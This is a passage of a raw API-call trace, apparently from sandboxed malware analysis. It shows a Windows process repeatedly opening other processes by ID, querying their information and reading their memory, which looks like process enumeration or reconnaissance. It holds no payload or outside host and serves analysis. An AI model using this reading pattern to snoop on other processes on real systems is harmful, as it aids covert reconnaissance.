(in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.339] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0xa9c [0351.340] GetLastError () returned 0x0 [0351.340] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.340] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.340] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.341] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.341] malloc (_Size=0x8a) returned 0xec72a0 [0351.341] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec72a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec72a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.341] free (_Block=0xec72a0) [0351.341] CloseHandle (hObject=0xa9c) returned 1 [0351.342] _ui64tow_s (in: _Value=0x650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0351.342] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1616") returned 4 [0351.342] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.342] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.343] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0xa9c [0351.343] GetLastError () returned 0x0 [0351.343] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.344] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.344] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.344] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.344] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.344] malloc (_Size=0x8a) returned 0xec7840 [0351.344] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7840, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7840*, lpNumberOfBytesRead=0x0) returned 1 [0351.345] free (_Block=0xec7840) [0351.345] CloseHandle (hObject=0xa9c) returned 1 [0351.345] _ui64tow_s (in: _Value=0x674, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0351.345] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1652") returned 4 [0351.345] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.345] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.346] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0xa9c [0351.346] GetLastError () returned 0x0 [0351.346] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.347] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.347] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.347] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.347] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.347] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.347] malloc (_Size=0x60) returned 0xeb6150 [0351.347] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6150, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0351.348] free (_Block=0xeb6150) [0351.348] CloseHandle (hObject=0xa9c) returned 1 [0351.348] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0351.348] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1788") returned 4 [0351.349] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.349] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.349] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0xa9c [0351.349] GetLastError () returned 0x0 [0351.349] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.350] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.350] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.350] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2480, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.350] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2118, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.350] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.350] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.350] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.351] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.351] malloc (_Size=0x42) returned 0xea7890 [0351.351] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2158, lpBuffer=0xea7890, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7890*, lpNumberOfBytesRead=0x0) returned 1 [0351.351] free (_Block=0xea7890) [0351.351] CloseHandle (hObject=0xa9c) returned 1 [0351.352] _ui64tow_s (in: _Value=0x734, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0351.352] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1844") returned 4 [0351.352] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.352] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.353] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0xa9c [0351.353] GetLastError () returned 0x0 [0351.353] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.353] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.354] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.354] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.354] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.354] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.354] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.354] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.354] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.355] malloc (_Size=0x8a) returned 0xec7b60 [0351.355] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7b60, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7b60*, lpNumberOfBytesRead=0x0) returned 1 [0351.355] free (_Block=0xec7b60) [0351.355] CloseHandle (hObject=0xa9c) returned 1 [0351.355] _ui64tow_s (in: _Value=0x820, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0351.356] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2080") returned 4 [0351.356] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.356] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.357] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0xa9c [0351.357] GetLastError () returned 0x0 [0351.357] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.357] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.358] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.358] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.358] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.358] malloc (_Size=0x84) returned 0xe88090 [0351.358] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe88090, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88090*, lpNumberOfBytesRead=0x0) returned 1 [0351.358] free (_Block=0xe88090) [0351.358] CloseHandle (hObject=0xa9c) returned 1 [0351.359] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0351.359] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2272") returned 4 [0351.359] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.359] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.360] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xa9c [0351.360] GetLastError () returned 0x0 [0351.360] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422560, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422228, lpBuffer=0x5ec5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.361] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.361] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x421be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.361] malloc (_Size=0x18) returned 0xec9760 [0351.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422266, lpBuffer=0xec9760, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9760*, lpNumberOfBytesRead=0x0) returned 1 [0351.361] free (_Block=0xec9760) [0351.361] CloseHandle (hObject=0xa9c) returned 1 [0351.385] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0351.386] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2288") returned 4 [0351.386] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.386] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.387] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0xa9c [0351.387] GetLastError () returned 0x0 [0351.387] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.387] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.387] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.387] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.387] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.387] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.388] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.388] malloc (_Size=0x6a) returned 0xea8a20 [0351.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8a20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8a20*, lpNumberOfBytesRead=0x0) returned 1 [0351.389] free (_Block=0xea8a20) [0351.389] CloseHandle (hObject=0xa9c) returned 1 [0351.389] _ui64tow_s (in: _Value=0x944, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0351.389] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2372") returned 4 [0351.389] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.389] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") 